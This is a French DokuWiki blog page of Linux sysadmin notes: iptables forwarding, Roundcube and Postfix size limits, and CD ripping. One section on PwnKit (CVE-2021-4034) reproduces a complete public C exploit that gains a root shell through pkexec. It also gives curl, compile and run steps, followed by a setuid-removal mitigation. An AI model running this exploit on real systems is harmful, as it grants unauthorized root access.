Outils pour utilisateurs

Outils du site


blog

Routage sous GNU/Linux

echo 1 > /proc/sys/net/ipv4/ip_forward

Autoriser tout

iptables -P FORWARD ACCEPT

Autoriser eth0 à accéder à Internet

iptables -A FORWARD -i eth0 -o ppp0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i ppp0 -o eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT

Exemple de conf

-A INPUT -i virbr4 -p udp -m udp --dport 53 -j ACCEPT
-A INPUT -i virbr4 -p tcp -m tcp --dport 53 -j ACCEPT
-A INPUT -i virbr4 -p udp -m udp --dport 67 -j ACCEPT
-A INPUT -i virbr4 -p tcp -m tcp --dport 67 -j ACCEPT
-A FORWARD -d 192.168.2.0/24 -i enp130s0 -o virbr4 -j ACCEPT
-A FORWARD -s 192.168.2.0/24 -i virbr4 -o enp130s0 -j ACCEPT
-A FORWARD -i virbr4 -o virbr4 -j ACCEPT
-A FORWARD -o virbr4 -j REJECT --reject-with icmp-port-unreachable
-A FORWARD -i virbr4 -j REJECT --reject-with icmp-port-unreachable
-A OUTPUT -o virbr4 -p udp -m udp --dport 68 -j ACCEPT
2025/03/24 15:06

Roundcube pb de taille msg Le fichier téléversé dépasse la taille maximale de 2,0 Mo

Erreur “Le fichier téléversé dépasse la taille maximale de 2,0 Mo”

/etc/php/7.0/fpm/php.ini

upload_max_filesize = 2M

/etc/php/7.0/fpm/php.ini

post_max_size = 8M
systemctl restart php7.0-fpm.service

Autres

Erreur SMTP : Message size exceeds server limit
postconf -d | grep message_size_limit
message_size_limit = 10240000

(10240000 / 1024) / 1024 = 9,76 Mo

postconf -e 'message_size_limit = 20240000'
systemctl reload postfix
2025/03/24 15:06

Rootkit pwnkit - local privilege escalation vulnerability pkexec cve-2021-4034

Voir aussi :

2022-01-27

12 ans que GNU/Lunix était vulnérable

Source :

cve-2021-4034-poc.c

/*
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";
 
int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
curl https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c
$ ./a.out
#

Solution

Mise à jours ou

$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 23440  3 juin   2021 /usr/bin/pkexec

$ LANG=C stat /usr/bin/pkexec |grep ^Access
Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2022-01-27 14:01:49.383667085 +0100

$ sudo chmod -s /usr/bin/pkexec
2025/03/24 15:06

Robotic Process Automation (RPA)

Voir aussi :

  • Process Mining

Logiciels :

Logiciels privateurs :

  • uipath (Process Mining)
2025/03/24 15:06

Ripper un cd audio pour le mettre en mp3 ogg flac ou autres formats

avec l'outil Ripit

sudo apt-get install ripit
ripit

avec l'outil abcde

sudo apt-get install abcde mkcue flac eye3d lame
 
# Exemple
env CDPARANOIAOPTS="-Z" abcde -M -o flac 8

Brouillon

Trouver le lecteur audio (/dev/sr0) cdrdao scanbus

Dump exemple

cdrdao read-cd --device /dev/sr0 NOM_DU_CD_AUDIO.toc
cdrdao read-cd --source-device 0,0,0 --driver generic-mmc --paranoia-mode 3 audiocd.toc

Un fichier data.bin est généré La table de contenu NOM_DU_CD_AUDIO.toc

rip 1

cdrdao read-cd --read-raw --driver generic-mmc-raw --with-cddb --datafile file.bin file.toc
toc2cue file.toc file.cue
flac --best --force-raw --sample-rate=44100 --channels=2 --bps=16 --endian=big --sign=signed --cuesheet=file.cue file.bin -o file.flac

rip 2

abcde -1 -M -o flac

recontruct CD

flac --decode --force-raw --endian=big --sign=signed --output-name=file.bin file.flac
cdrdao write data.toc

Pb

cdparanoia III release 10.2 (September 11, 2008)

Ripping from sector  282026 (track  8 [0:00.00])
          to sector  289583 (track  8 [1:40.57])

outputting to /home/jibe/abcde.720f1508/track8.wav

 (== PROGRESS == [         >                    | 283193 00 ] == :-) 0 ==)   scsi_read error: sector=284153 length=27 retry=0
                 Sense key: 3 ASC: 2 ASCQ: 0
                 Transport error: Medium reading data from medium
                 System error: Input/output error
scsi_read error: sector=284153 length=13 retry=1
                 Sense key: 3 ASC: 2 ASCQ: 0
                 Transport error: Medium reading data from medium
                 System error: Input/output error
 (== PROGRESS == [    +   e >                   | 284349 00 ] == :-P . ==) 
dmesg
[ 3836.507021] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE
[ 3836.507028] sr 1:0:0:0: [sr0]  
[ 3836.507032] Sense Key : Illegal Request [current] 
[ 3836.507039] Info fld=0x46ac0
[ 3836.507043] sr 1:0:0:0: [sr0]  
[ 3836.507052] Add. Sense: Illegal mode for this track
[ 3836.507057] sr 1:0:0:0: [sr0] CDB: 
[ 3836.507060] Read(10): 28 00 00 04 6a c0 00 00 20 00
[ 3836.514926] sr 1:0:0:0: [sr0]  
[ 3836.514935] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE
[ 3836.514938] sr 1:0:0:0: [sr0]  
[ 3836.514940] Sense Key : Illegal Request [current] 
[ 3836.514943] Info fld=0x46b00
[ 3836.514944] sr 1:0:0:0: [sr0]  
[ 3836.514950] Add. Sense: Illegal mode for this track
[ 3836.514951] sr 1:0:0:0: [sr0] CDB: 
[ 3836.514953] Read(10): 28 00 00 04 6b 00 00 00 20 00
2025/03/24 15:06
blog.txt · Dernière modification : de 127.0.0.1

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki